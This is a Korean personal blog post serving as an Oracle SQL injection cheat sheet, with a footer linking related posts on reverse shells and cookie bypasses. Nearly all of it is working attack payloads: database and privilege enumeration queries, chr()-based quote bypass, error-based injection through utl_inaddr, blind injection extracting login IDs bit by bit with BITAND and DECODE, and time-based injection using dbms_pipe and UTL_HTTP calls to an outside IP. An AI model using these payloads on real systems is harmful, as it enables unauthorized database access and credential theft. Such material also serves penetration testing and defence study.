kaka09
대충짜본 오라클 공격쿼리??(계속 업데이트 예정) 본문
SELECT version FROM v$instance;
select banner from v$version where rownum=1
#버전명 출력
SELECT USER FROM DUAL;
#현재 DB를 사용하는 사용자명 출력
SELECT SYS.DATABASE_NAME FROM DUAL;
or
SELECT INSTANCE_NAME FROM v$instance;
#현재 사용중인 DB의 SID명 출력
SELECT * FROM USER_SYS_PRIVS;
SELECT * FROM session_privs
SELECT * FROM dba_role_privs
SELECT * FROM dba_sys_privs
SELECT * FROM user_tab_privs
#사용자에게 주어진 권한 확인
SELECT * FROM ALL_TABLES WHERE OWNER='ADMIN';
#사용자 ADMIN이 만든 테이블 목록과 각종 정보를 기술
SELECT * FROM ALL_TAB_COLUMNS WHERE OWNER='ADMIN';
#사용자 ADMIN이 만든 테이블 명 컬럼명 들과 각종 정보를 기술
#tabs 와 cols 또한 유용
select rtrim(xmlagg(xmlelement(e,table_name || ',')).extract('//text()').extract('//text()'),',') from all_tables where OWNER='ADMIN'
SELECT replace(wm_concat('<li>'||table_name),',','') FROM all_tables WHERE OWNER='ADMIN';
SELECT LISTAGG(TABLE_NAME,'</li>') WITHIN GROUP (ORDER BY TABLE_NAME)from TABS;
#ADMIN 사용자가 만든 테이블 목록들을 한줄로 출력 mysql의 group_concat과 비슷
select * from (select ROWNUM RNUM, BOARD.* FROM BOARD ORDER BY B_NUM) a where a.RNUM='1';
#LIMIT 절 기능
chr(97)||chr(100)
# 쿼터 우회
--ERROR BASED
SELECT * FROM BOARD ORDER BY 9;
# 컬럼 갯수파악 ORDER BY절의 숫자가 테이블의 컬럼 갯수보다 크면 에러 발생
select * from board where b_num=0 and utl_inaddr.get_host_name((select user from dual))
# 서브쿼리 절에서 반환되는 값이 에러문구에 그대로 노출
#ORA-29257: host ADMIN unknown
--BLIND SQLI
select * from board where b_num=0 or ascii(substr((select L_ID from login where L_ID='8snine'),1,1))=56;
SELECT L_ID FROM LOGIN WHERE L_ID='' AND L_PW='' OR 1=DECODE(0,BITAND(ascii(SUBSTR((SELECT L_ID FROM (SELECT ROWNUM RNUM, T.* FROM LOGIN T) A WHERE A.RNUM='1'),1,1)),64),1,0);
#BITAND(A,B) 비트단위의 A AND B의 결과를 리턴
#DECODE(COL,VALUE,VALUE2,VALUE3)
EX)IF(COL==VALUE) #COL에는 컬럼 또는 값이 올 수 있음 컬럼이 들어올 경우 컬럼 안에 들어있는 데이터와 비교
RETURN VALUE2;
ELSE
RETURN VALUE3;
SELECT L_ID FROM LOGIN WHERE L_ID='' AND L_PW='' OR 1=(SELECT CASE WHEN BITAND(ASCII(SUBSTR(L_ID,1,1)),2)=0 THEN 1 ELSE 2 END FROM (SELECT ROWNUM RNUM, T.* FROM LOGIN T) A WHERE A.RNUM='1');
#CASE WHEN 기법
--TIME BASED SQLI
SELECT L_ID FROM LOGIN WHERE L_ID='' AND L_PW='' OR 1=(SELECT CASE WHEN BITAND(ASCII(SUBSTR(L_ID,1,1)),2)=0 THEN dbms_pipe.receive_message(('AA'),3) ELSE 2 END FROM (SELECT ROWNUM RNUM, T.* FROM LOGIN T) A WHERE A.RNUM='1');
#dbms_pipe.receive_message(('AA'),3) 파이프 메세지를 로컬 버퍼에 전송하는 메소드 이때 대기시간을 지정할 수 있음
SELECT L_ID FROM LOGIN WHERE L_ID='' AND L_PW='' OR 1=(SELECT CASE WHEN BITAND(ASCII(SUBSTR(L_ID,1,1)),4)=0 THEN UTL_HTTP.REQUEST('http://1.1.1.1') ELSE '2' END FROM (SELECT ROWNUM RNUM, T.* FROM LOGIN T) A WHERE A.RNUM='1');
#UTL_HTTP.REQUEST('http://1.1.1.1') 존재하지 않는 호스트 요청시 발생하는 time delay를 이용한 기법
'Web' 카테고리의 다른 글
리버스 쉘(nc via mkfifo) (0) | 2017.12.05 |
---|---|
document.cookie bypass (0) | 2017.09.08 |
mysql용 SQLI 치트시트(계속 업데이트 예정) (0) | 2017.09.02 |
PHP preg_replace e modifier 취약점 (0) | 2017.08.04 |